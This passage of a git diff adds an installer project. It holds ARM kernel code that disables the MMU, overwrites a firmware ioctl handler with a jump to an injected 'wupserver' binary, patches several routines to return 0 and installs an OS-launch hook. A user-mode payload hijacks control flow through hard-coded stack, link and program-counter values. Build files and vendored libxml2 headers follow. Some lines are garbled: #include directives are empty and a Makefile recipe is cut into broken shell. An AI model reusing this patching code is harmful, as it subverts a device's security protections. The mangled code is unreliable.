(void*)pUserBinSource, sizeof(arm_user_bin)); + + void * test = (void*)(0x05100000 - 0x05100000 + 0x13D80000); + kernel_memcpy(test, (void*)wupserver_bin, sizeof(wupserver_bin)); + invalidate_dcache((u32)test, sizeof(wupserver_bin)); + invalidate_icache(); + + // replace ioctl 0x62 code with jump to wupserver + *(unsigned int*)(0x05026BA8 - 0x05000000 + 0x081C0000) = 0x47780000; // bx pc + *(unsigned int*)(0x05026BAC - 0x05000000 + 0x081C0000) = 0xE59F1000; // ldr r1, [pc] + *(unsigned int*)(0x05026BB0 - 0x05000000 + 0x081C0000) = 0xE12FFF11; // bx r1 + *(unsigned int*)(0x05026BB4 - 0x05000000 + 0x081C0000) = 0x05100000; // wupserver code + + *(unsigned int*)(0x050282AE - 0x05000000 + 0x081C0000) = 0xF031FB43; // bl launch_os_hook + + *(unsigned int*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0 + *(unsigned int*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr + + *(unsigned int*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0 + + *(unsigned int*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 + *(unsigned int*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 + *(unsigned int*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 + *(unsigned int*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000; // mov r0, #0 + + int i; + for (i = 0; i < sizeof(os_launch_hook); i++) + ((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i]; + + *(int*)(0x1555500) = 0; + + /* REENABLE MMU */ + restore_mmu(control_register); + + invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache + invalidate_icache(); + + enable_interrupts(level); + + return 0; +} diff --git a/installer/arm_kernel/source/types.h b/installer/arm_kernel/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/installer/arm_kernel/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/installer/arm_kernel/source/utils.c b/installer/arm_kernel/source/utils.c new file mode 100644 index 0000000..f02ae47 --- /dev/null +++ b/installer/arm_kernel/source/utils.c @@ -0,0 +1,25 @@ + +void* m_memcpy(void *dst, const void *src, unsigned int len) +{ + const unsigned char *src_ptr = (const unsigned char *)src; + unsigned char *dst_ptr = (unsigned char *)dst; + + while(len) + { + *dst_ptr++ = *src_ptr++; + --len; + } + return dst; +} + +void* m_memset(void *dst, int val, unsigned int bytes) +{ + unsigned char *dst_ptr = (unsigned char *)dst; + unsigned int i = 0; + while(i < bytes) + { + dst_ptr[i] = val; + ++i; + } + return dst; +} diff --git a/installer/arm_kernel/source/utils.h b/installer/arm_kernel/source/utils.h new file mode 100644 index 0000000..fd41db2 --- /dev/null +++ b/installer/arm_kernel/source/utils.h @@ -0,0 +1,7 @@ +#ifndef _UTILS_H_ +#define _UTILS_H_ + +void* m_memcpy(void *dst, const void *src, unsigned int len); +void* m_memset(void *dst, int val, unsigned int len); + +#endif diff --git a/installer/arm_user/Makefile b/installer/arm_user/Makefile new file mode 100644 index 0000000..f9bc904 --- /dev/null +++ b/installer/arm_user/Makefile @@ -0,0 +1,72 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ + +$(PROJECTNAME).elf: $(OFILES) + $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) + +clean: + @rm -f build/*.o build/*.d + @rmdir build 2>/nul; true + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) diff --git a/installer/arm_user/link.ld b/installer/arm_user/link.ld new file mode 100644 index 0000000..5408355 --- /dev/null +++ b/installer/arm_user/link.ld @@ -0,0 +1,18 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00 +} + +SECTIONS +{ + .text : ALIGN(0x04) { + build/crt0.o(.init) + *(.text) + } + .rodata : { + *(.rodata*) + } +} + diff --git a/installer/arm_user/source/crt0.s b/installer/arm_user/source/crt0.s new file mode 100644 index 0000000..b5608cd --- /dev/null +++ b/installer/arm_user/source/crt0.s @@ -0,0 +1,20 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +.extern memset +.type memset, %function + +_start: + b _main + + .global IOS_DCFlushAllCache +IOS_DCFlushAllCache: + MOV R15, R0 +clean_loop: + MRC p15, 0, r15, c7, c10, 3 + BNE clean_loop + MCR p15, 0, R0, c7, c10, 4 diff --git a/installer/arm_user/source/main.c b/installer/arm_user/source/main.c new file mode 100644 index 0000000..6f90ca5 --- /dev/null +++ b/installer/arm_user/source/main.c @@ -0,0 +1,30 @@ +#include "types.h" +#include "utils.h" + + +void _main() +{ + + void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; + + int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; + + int saved_handle = *(volatile u32*)0x01E10000; + int myret = reply(saved_handle, 0); + if (myret != 0) + ios_shutdown(1); + + // stack pointer will be 0x1016AE30 + // link register will be 0x1012EACC + asm("LDR SP, newsp\n" + "LDR R0, newr0\n" + "LDR LR, newlr\n" + "LDR PC, newpc\n" + "newsp: .word 0x1016AE30\n" + "newlr: .word 0x1012EACC\n" + "newr0: .word 0x10146080\n" + "newpc: .word 0x10111164\n"); + + + +} diff --git a/installer/arm_user/source/types.h b/installer/arm_user/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/installer/arm_user/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/installer/arm_user/source/utils.c b/installer/arm_user/source/utils.c new file mode 100644 index 0000000..f02ae47 --- /dev/null +++ b/installer/arm_user/source/utils.c @@ -0,0 +1,25 @@ + +void* m_memcpy(void *dst, const void *src, unsigned int len) +{ + const unsigned char *src_ptr = (const unsigned char *)src; + unsigned char *dst_ptr = (unsigned char *)dst; + + while(len) + { + *dst_ptr++ = *src_ptr++; + --len; + } + return dst; +} + +void* m_memset(void *dst, int val, unsigned int bytes) +{ + unsigned char *dst_ptr = (unsigned char *)dst; + unsigned int i = 0; + while(i < bytes) + { + dst_ptr[i] = val; + ++i; + } + return dst; +} diff --git a/installer/arm_user/source/utils.h b/installer/arm_user/source/utils.h new file mode 100644 index 0000000..fd41db2 --- /dev/null +++ b/installer/arm_user/source/utils.h @@ -0,0 +1,7 @@ +#ifndef _UTILS_H_ +#define _UTILS_H_ + +void* m_memcpy(void *dst, const void *src, unsigned int len); +void* m_memset(void *dst, int val, unsigned int len); + +#endif diff --git a/installer/libxml2/README.md b/installer/libxml2/README.md new file mode 100644 index 0000000..aa6a45e --- /dev/null +++ b/installer/libxml2/README.md @@ -0,0 +1,2 @@ +Built from libxml2-2.9.4 with the following config: +./autogen.sh --disable-shared --enable-static --with-minimum=yes --with-output=yes --host=powerpc-eabi \ No newline at end of file diff --git a/installer/libxml2/include/libxml/DOCBparser.h b/installer/libxml2/include/libxml/DOCBparser.h new file mode 100644 index 0000000..9394fa7 --- /dev/null +++ b/installer/libxml2/include/libxml/DOCBparser.h @@ -0,0 +1,96 @@ +/* + * Summary: old DocBook SGML parser + * Description: interface for a DocBook SGML non-verifying parser + * This code is DEPRECATED, and should not be used anymore. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __DOCB_PARSER_H__ +#define __DOCB_PARSER_H__ +#include + +#ifdef LIBXML_DOCB_ENABLED + +#include +#include + +#ifndef IN_LIBXML +#ifdef __GNUC__ +#warning "The DOCBparser module has been deprecated in libxml2-2.6.0" +#endif +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Most of the back-end structures from XML and SGML are shared. + */ +typedef xmlParserCtxt docbParserCtxt; +typedef xmlParserCtxtPtr docbParserCtxtPtr; +typedef xmlSAXHandler docbSAXHandler; +typedef xmlSAXHandlerPtr docbSAXHandlerPtr; +typedef xmlParserInput docbParserInput; +typedef xmlParserInputPtr docbParserInputPtr; +typedef xmlDocPtr docbDocPtr; + +/* + * There is only few public functions. + */ +XMLPUBFUN int XMLCALL + docbEncodeEntities(unsigned char *out, + int *outlen, + const unsigned char *in, + int *inlen, int quoteChar); + +XMLPUBFUN docbDocPtr XMLCALL + docbSAXParseDoc (xmlChar *cur, + const char *encoding, + docbSAXHandlerPtr sax, + void *userData); +XMLPUBFUN docbDocPtr XMLCALL + docbParseDoc (xmlChar *cur, + const char *encoding); +XMLPUBFUN docbDocPtr XMLCALL + docbSAXParseFile (const char *filename, + const char *encoding, + docbSAXHandlerPtr sax, + void *userData); +XMLPUBFUN docbDocPtr XMLCALL + docbParseFile (const char *filename, + const char *encoding); + +/** + * Interfaces for the Push mode. + */ +XMLPUBFUN void XMLCALL + docbFreeParserCtxt (docbParserCtxtPtr ctxt); +XMLPUBFUN docbParserCtxtPtr XMLCALL + docbCreatePushParserCtxt(docbSAXHandlerPtr sax, + void *user_data, + const char *chunk, + int size, + const char *filename, + xmlCharEncoding enc); +XMLPUBFUN int XMLCALL + docbParseChunk (docbParserCtxtPtr ctxt, + const char *chunk, + int size, + int terminate); +XMLPUBFUN docbParserCtxtPtr XMLCALL + docbCreateFileParserCtxt(const char *filename, + const char *encoding); +XMLPUBFUN int XMLCALL + docbParseDocument (docbParserCtxtPtr ctxt); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_DOCB_ENABLED */ + +#endif /* __DOCB_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/HTMLparser.h b/installer/libxml2/include/libxml/HTMLparser.h new file mode 100644 index 0000000..551186c --- /dev/null +++ b/installer/libxml2/include/libxml/HTMLparser.h @@ -0,0 +1,306 @@ +/* + * Summary: interface for an HTML 4.0 non-verifying parser + * Description: this module implements an HTML 4.0 non-verifying parser + * with API compatible with the XML parser ones. It should + * be able to parse "real world" HTML, even if severely + * broken from a specification point of view. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __HTML_PARSER_H__ +#define __HTML_PARSER_H__ +#include +#include + +#ifdef LIBXML_HTML_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Most of the back-end structures from XML and HTML are shared. + */ +typedef xmlParserCtxt htmlParserCtxt; +typedef xmlParserCtxtPtr htmlParserCtxtPtr; +typedef xmlParserNodeInfo htmlParserNodeInfo; +typedef xmlSAXHandler htmlSAXHandler; +typedef xmlSAXHandlerPtr htmlSAXHandlerPtr; +typedef xmlParserInput htmlParserInput; +typedef xmlParserInputPtr htmlParserInputPtr; +typedef xmlDocPtr htmlDocPtr; +typedef xmlNodePtr htmlNodePtr; + +/* + * Internal description of an HTML element, representing HTML 4.01 + * and XHTML 1.0 (which share the same structure). + */ +typedef struct _htmlElemDesc htmlElemDesc; +typedef htmlElemDesc *htmlElemDescPtr; +struct _htmlElemDesc { + const char *name; /* The tag name */ + char startTag; /* Whether the start tag can be implied */ + char endTag; /* Whether the end tag can be implied */ + char saveEndTag; /* Whether the end tag should be saved */ + char empty; /* Is this an empty element ? */ + char depr; /* Is this a deprecated element ? */ + char dtd; /* 1: only in Loose DTD, 2: only Frameset one */ + char isinline; /* is this a block 0 or inline 1 element */ + const char *desc; /* the description */ + +/* NRK Jan.2003 + * New fields encapsulating HTML structure + * + * Bugs: + * This is a very limited representation. It fails to tell us when + * an element *requires* subelements (we only have whether they're + * allowed or not), and it doesn't tell us where CDATA and PCDATA + * are allowed. Some element relationships are not fully represented: + * these are flagged with the word MODIFIER + */ + const char** subelts; /* allowed sub-elements of this element */ + const char* defaultsubelt; /* subelement for suggested auto-repair + if necessary or NULL */ + const char** attrs_opt; /* Optional Attributes */ + const char** attrs_depr; /* Additional deprecated attributes */ + const char** attrs_req; /* Required attributes */ +}; + +/* + * Internal description of an HTML entity. + */ +typedef struct _htmlEntityDesc htmlEntityDesc; +typedef htmlEntityDesc *htmlEntityDescPtr; +struct _htmlEntityDesc { + unsigned int value; /* the UNICODE value for the character */ + const char *name; /* The entity name */ + const char *desc; /* the description */ +}; + +/* + * There is only few public functions. + */ +XMLPUBFUN const htmlElemDesc * XMLCALL + htmlTagLookup (const xmlChar *tag); +XMLPUBFUN const htmlEntityDesc * XMLCALL + htmlEntityLookup(const xmlChar *name); +XMLPUBFUN const htmlEntityDesc * XMLCALL + htmlEntityValueLookup(unsigned int value); + +XMLPUBFUN int XMLCALL + htmlIsAutoClosed(htmlDocPtr doc, + htmlNodePtr elem); +XMLPUBFUN int XMLCALL + htmlAutoCloseTag(htmlDocPtr doc, + const xmlChar *name, + htmlNodePtr elem); +XMLPUBFUN const htmlEntityDesc * XMLCALL + htmlParseEntityRef(htmlParserCtxtPtr ctxt, + const xmlChar **str); +XMLPUBFUN int XMLCALL + htmlParseCharRef(htmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + htmlParseElement(htmlParserCtxtPtr ctxt); + +XMLPUBFUN htmlParserCtxtPtr XMLCALL + htmlNewParserCtxt(void); + +XMLPUBFUN htmlParserCtxtPtr XMLCALL + htmlCreateMemoryParserCtxt(const char *buffer, + int size); + +XMLPUBFUN int XMLCALL + htmlParseDocument(htmlParserCtxtPtr ctxt); +XMLPUBFUN htmlDocPtr XMLCALL + htmlSAXParseDoc (xmlChar *cur, + const char *encoding, + htmlSAXHandlerPtr sax, + void *userData); +XMLPUBFUN htmlDocPtr XMLCALL + htmlParseDoc (xmlChar *cur, + const char *encoding); +XMLPUBFUN htmlDocPtr XMLCALL + htmlSAXParseFile(const char *filename, + const char *encoding, + htmlSAXHandlerPtr sax, + void *userData); +XMLPUBFUN htmlDocPtr XMLCALL + htmlParseFile (const char *filename, + const char *encoding); +XMLPUBFUN int XMLCALL + UTF8ToHtml (unsigned char *out, + int *outlen, + const unsigned char *in, + int *inlen); +XMLPUBFUN int XMLCALL + htmlEncodeEntities(unsigned char *out, + int *outlen, + const unsigned char *in, + int *inlen, int quoteChar); +XMLPUBFUN int XMLCALL + htmlIsScriptAttribute(const xmlChar *name); +XMLPUBFUN int XMLCALL + htmlHandleOmittedElem(int val); + +#ifdef LIBXML_PUSH_ENABLED +/** + * Interfaces for the Push mode. + */ +XMLPUBFUN htmlParserCtxtPtr XMLCALL + htmlCreatePushParserCtxt(htmlSAXHandlerPtr sax, + void *user_data, + const char *chunk, + int size, + const char *filename, + xmlCharEncoding enc); +XMLPUBFUN int XMLCALL + htmlParseChunk (htmlParserCtxtPtr ctxt, + const char *chunk, + int size, + int terminate); +#endif /* LIBXML_PUSH_ENABLED */ + +XMLPUBFUN void XMLCALL + htmlFreeParserCtxt (htmlParserCtxtPtr ctxt); + +/* + * New set of simpler/more flexible APIs + */ +/** + * xmlParserOption: + * + * This is the set of XML parser options that can be passed down + * to the xmlReadDoc() and similar calls. + */ +typedef enum { + HTML_PARSE_RECOVER = 1<<0, /* Relaxed parsing */ + HTML_PARSE_NODEFDTD = 1<<2, /* do not default a doctype if not found */ + HTML_PARSE_NOERROR = 1<<5, /* suppress error reports */ + HTML_PARSE_NOWARNING= 1<<6, /* suppress warning reports */ + HTML_PARSE_PEDANTIC = 1<<7, /* pedantic error reporting */ + HTML_PARSE_NOBLANKS = 1<<8, /* remove blank nodes */ + HTML_PARSE_NONET = 1<<11,/* Forbid network access */ + HTML_PARSE_NOIMPLIED= 1<<13,/* Do not add implied html/body... elements */ + HTML_PARSE_COMPACT = 1<<16,/* compact small text nodes */ + HTML_PARSE_IGNORE_ENC=1<<21 /* ignore internal document encoding hint */ +} htmlParserOption; + +XMLPUBFUN void XMLCALL + htmlCtxtReset (htmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + htmlCtxtUseOptions (htmlParserCtxtPtr ctxt, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlReadDoc (const xmlChar *cur, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlReadFile (const char *URL, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlReadMemory (const char *buffer, + int size, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlReadFd (int fd, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlReadIO (xmlInputReadCallback ioread, + xmlInputCloseCallback ioclose, + void *ioctx, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlCtxtReadDoc (xmlParserCtxtPtr ctxt, + const xmlChar *cur, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlCtxtReadFile (xmlParserCtxtPtr ctxt, + const char *filename, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlCtxtReadMemory (xmlParserCtxtPtr ctxt, + const char *buffer, + int size, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlCtxtReadFd (xmlParserCtxtPtr ctxt, + int fd, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN htmlDocPtr XMLCALL + htmlCtxtReadIO (xmlParserCtxtPtr ctxt, + xmlInputReadCallback ioread, + xmlInputCloseCallback ioclose, + void *ioctx, + const char *URL, + const char *encoding, + int options); + +/* NRK/Jan2003: further knowledge of HTML structure + */ +typedef enum { + HTML_NA = 0 , /* something we don't check at all */ + HTML_INVALID = 0x1 , + HTML_DEPRECATED = 0x2 , + HTML_VALID = 0x4 , + HTML_REQUIRED = 0xc /* VALID bit set so ( & HTML_VALID ) is TRUE */ +} htmlStatus ; + +/* Using htmlElemDesc rather than name here, to emphasise the fact + that otherwise there's a lookup overhead +*/ +XMLPUBFUN htmlStatus XMLCALL htmlAttrAllowed(const htmlElemDesc*, const xmlChar*, int) ; +XMLPUBFUN int XMLCALL htmlElementAllowedHere(const htmlElemDesc*, const xmlChar*) ; +XMLPUBFUN htmlStatus XMLCALL htmlElementStatusHere(const htmlElemDesc*, const htmlElemDesc*) ; +XMLPUBFUN htmlStatus XMLCALL htmlNodeStatus(const htmlNodePtr, int) ; +/** + * htmlDefaultSubelement: + * @elt: HTML element + * + * Returns the default subelement for this element + */ +#define htmlDefaultSubelement(elt) elt->defaultsubelt +/** + * htmlElementAllowedHereDesc: + * @parent: HTML parent element + * @elt: HTML element + * + * Checks whether an HTML element description may be a + * direct child of the specified element. + * + * Returns 1 if allowed; 0 otherwise. + */ +#define htmlElementAllowedHereDesc(parent,elt) \ + htmlElementAllowedHere((parent), (elt)->name) +/** + * htmlRequiredAttrs: + * @elt: HTML element + * + * Returns the attributes required for the specified element. + */ +#define htmlRequiredAttrs(elt) (elt)->attrs_req + + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_HTML_ENABLED */ +#endif /* __HTML_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/HTMLtree.h b/installer/libxml2/include/libxml/HTMLtree.h new file mode 100644 index 0000000..c0e1103 --- /dev/null +++ b/installer/libxml2/include/libxml/HTMLtree.h @@ -0,0 +1,147 @@ +/* + * Summary: specific APIs to process HTML tree, especially serialization + * Description: this module implements a few function needed to process + * tree in an HTML specific way. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __HTML_TREE_H__ +#define __HTML_TREE_H__ + +#include +#include +#include +#include + +#ifdef LIBXML_HTML_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + + +/** + * HTML_TEXT_NODE: + * + * Macro. A text node in a HTML document is really implemented + * the same way as a text node in an XML document. + */ +#define HTML_TEXT_NODE XML_TEXT_NODE +/** + * HTML_ENTITY_REF_NODE: + * + * Macro. An entity reference in a HTML document is really implemented + * the same way as an entity reference in an XML document. + */ +#define HTML_ENTITY_REF_NODE XML_ENTITY_REF_NODE +/** + * HTML_COMMENT_NODE: + * + * Macro. A comment in a HTML document is really implemented + * the same way as a comment in an XML document. + */ +#define HTML_COMMENT_NODE XML_COMMENT_NODE +/** + * HTML_PRESERVE_NODE: + * + * Macro. A preserved node in a HTML document is really implemented + * the same way as a CDATA section in an XML document. + */ +#define HTML_PRESERVE_NODE XML_CDATA_SECTION_NODE +/** + * HTML_PI_NODE: + * + * Macro. A processing instruction in a HTML document is really implemented + * the same way as a processing instruction in an XML document. + */ +#define HTML_PI_NODE XML_PI_NODE + +XMLPUBFUN htmlDocPtr XMLCALL + htmlNewDoc (const xmlChar *URI, + const xmlChar *ExternalID); +XMLPUBFUN htmlDocPtr XMLCALL + htmlNewDocNoDtD (const xmlChar *URI, + const xmlChar *ExternalID); +XMLPUBFUN const xmlChar * XMLCALL + htmlGetMetaEncoding (htmlDocPtr doc); +XMLPUBFUN int XMLCALL + htmlSetMetaEncoding (htmlDocPtr doc, + const xmlChar *encoding); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + htmlDocDumpMemory (xmlDocPtr cur, + xmlChar **mem, + int *size); +XMLPUBFUN void XMLCALL + htmlDocDumpMemoryFormat (xmlDocPtr cur, + xmlChar **mem, + int *size, + int format); +XMLPUBFUN int XMLCALL + htmlDocDump (FILE *f, + xmlDocPtr cur); +XMLPUBFUN int XMLCALL + htmlSaveFile (const char *filename, + xmlDocPtr cur); +XMLPUBFUN int XMLCALL + htmlNodeDump (xmlBufferPtr buf, + xmlDocPtr doc, + xmlNodePtr cur); +XMLPUBFUN void XMLCALL + htmlNodeDumpFile (FILE *out, + xmlDocPtr doc, + xmlNodePtr cur); +XMLPUBFUN int XMLCALL + htmlNodeDumpFileFormat (FILE *out, + xmlDocPtr doc, + xmlNodePtr cur, + const char *encoding, + int format); +XMLPUBFUN int XMLCALL + htmlSaveFileEnc (const char *filename, + xmlDocPtr cur, + const char *encoding); +XMLPUBFUN int XMLCALL + htmlSaveFileFormat (const char *filename, + xmlDocPtr cur, + const char *encoding, + int format); + +XMLPUBFUN void XMLCALL + htmlNodeDumpFormatOutput(xmlOutputBufferPtr buf, + xmlDocPtr doc, + xmlNodePtr cur, + const char *encoding, + int format); +XMLPUBFUN void XMLCALL + htmlDocContentDumpOutput(xmlOutputBufferPtr buf, + xmlDocPtr cur, + const char *encoding); +XMLPUBFUN void XMLCALL + htmlDocContentDumpFormatOutput(xmlOutputBufferPtr buf, + xmlDocPtr cur, + const char *encoding, + int format); +XMLPUBFUN void XMLCALL + htmlNodeDumpOutput (xmlOutputBufferPtr buf, + xmlDocPtr doc, + xmlNodePtr cur, + const char *encoding); + +#endif /* LIBXML_OUTPUT_ENABLED */ + +XMLPUBFUN int XMLCALL + htmlIsBooleanAttr (const xmlChar *name); + + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_HTML_ENABLED */ + +#endif /* __HTML_TREE_H__ */ + diff --git a/installer/libxml2/include/libxml/SAX.h b/installer/libxml2/include/libxml/SAX.h new file mode 100644 index 0000000..20093ce --- /dev/null +++ b/installer/libxml2/include/libxml/SAX.h @@ -0,0 +1,173 @@ +/* + * Summary: Old SAX version 1 handler, deprecated + * Description: DEPRECATED set of SAX version 1 interfaces used to + * build the DOM tree. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + + +#ifndef __XML_SAX_H__ +#define __XML_SAX_H__ + +#include +#include +#include +#include +#include + +#ifdef LIBXML_LEGACY_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif +XMLPUBFUN const xmlChar * XMLCALL + getPublicId (void *ctx); +XMLPUBFUN const xmlChar * XMLCALL + getSystemId (void *ctx); +XMLPUBFUN void XMLCALL + setDocumentLocator (void *ctx, + xmlSAXLocatorPtr loc); + +XMLPUBFUN int XMLCALL + getLineNumber (void *ctx); +XMLPUBFUN int XMLCALL + getColumnNumber (void *ctx); + +XMLPUBFUN int XMLCALL + isStandalone (void *ctx); +XMLPUBFUN int XMLCALL + hasInternalSubset (void *ctx); +XMLPUBFUN int XMLCALL + hasExternalSubset (void *ctx); + +XMLPUBFUN void XMLCALL + internalSubset (void *ctx, + const xmlChar *name, + const xmlChar *ExternalID, + const xmlChar *SystemID); +XMLPUBFUN void XMLCALL + externalSubset (void *ctx, + const xmlChar *name, + const xmlChar *ExternalID, + const xmlChar *SystemID); +XMLPUBFUN xmlEntityPtr XMLCALL + getEntity (void *ctx, + const xmlChar *name); +XMLPUBFUN xmlEntityPtr XMLCALL + getParameterEntity (void *ctx, + const xmlChar *name); +XMLPUBFUN xmlParserInputPtr XMLCALL + resolveEntity (void *ctx, + const xmlChar *publicId, + const xmlChar *systemId); + +XMLPUBFUN void XMLCALL + entityDecl (void *ctx, + const xmlChar *name, + int type, + const xmlChar *publicId, + const xmlChar *systemId, + xmlChar *content); +XMLPUBFUN void XMLCALL + attributeDecl (void *ctx, + const xmlChar *elem, + const xmlChar *fullname, + int type, + int def, + const xmlChar *defaultValue, + xmlEnumerationPtr tree); +XMLPUBFUN void XMLCALL + elementDecl (void *ctx, + const xmlChar *name, + int type, + xmlElementContentPtr content); +XMLPUBFUN void XMLCALL + notationDecl (void *ctx, + const xmlChar *name, + const xmlChar *publicId, + const xmlChar *systemId); +XMLPUBFUN void XMLCALL + unparsedEntityDecl (void *ctx, + const xmlChar *name, + const xmlChar *publicId, + const xmlChar *systemId, + const xmlChar *notationName); + +XMLPUBFUN void XMLCALL + startDocument (void *ctx); +XMLPUBFUN void XMLCALL + endDocument (void *ctx); +XMLPUBFUN void XMLCALL + attribute (void *ctx, + const xmlChar *fullname, + const xmlChar *value); +XMLPUBFUN void XMLCALL + startElement (void *ctx, + const xmlChar *fullname, + const xmlChar **atts); +XMLPUBFUN void XMLCALL + endElement (void *ctx, + const xmlChar *name); +XMLPUBFUN void XMLCALL + reference (void *ctx, + const xmlChar *name); +XMLPUBFUN void XMLCALL + characters (void *ctx, + const xmlChar *ch, + int len); +XMLPUBFUN void XMLCALL + ignorableWhitespace (void *ctx, + const xmlChar *ch, + int len); +XMLPUBFUN void XMLCALL + processingInstruction (void *ctx, + const xmlChar *target, + const xmlChar *data); +XMLPUBFUN void XMLCALL + globalNamespace (void *ctx, + const xmlChar *href, + const xmlChar *prefix); +XMLPUBFUN void XMLCALL + setNamespace (void *ctx, + const xmlChar *name); +XMLPUBFUN xmlNsPtr XMLCALL + getNamespace (void *ctx); +XMLPUBFUN int XMLCALL + checkNamespace (void *ctx, + xmlChar *nameSpace); +XMLPUBFUN void XMLCALL + namespaceDecl (void *ctx, + const xmlChar *href, + const xmlChar *prefix); +XMLPUBFUN void XMLCALL + comment (void *ctx, + const xmlChar *value); +XMLPUBFUN void XMLCALL + cdataBlock (void *ctx, + const xmlChar *value, + int len); + +#ifdef LIBXML_SAX1_ENABLED +XMLPUBFUN void XMLCALL + initxmlDefaultSAXHandler (xmlSAXHandlerV1 *hdlr, + int warning); +#ifdef LIBXML_HTML_ENABLED +XMLPUBFUN void XMLCALL + inithtmlDefaultSAXHandler (xmlSAXHandlerV1 *hdlr); +#endif +#ifdef LIBXML_DOCB_ENABLED +XMLPUBFUN void XMLCALL + initdocbDefaultSAXHandler (xmlSAXHandlerV1 *hdlr); +#endif +#endif /* LIBXML_SAX1_ENABLED */ + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_LEGACY_ENABLED */ + +#endif /* __XML_SAX_H__ */ diff --git a/installer/libxml2/include/libxml/SAX2.h b/installer/libxml2/include/libxml/SAX2.h new file mode 100644 index 0000000..a55212e --- /dev/null +++ b/installer/libxml2/include/libxml/SAX2.h @@ -0,0 +1,178 @@ +/* + * Summary: SAX2 parser interface used to build the DOM tree + * Description: those are the default SAX2 interfaces used by + * the library when building 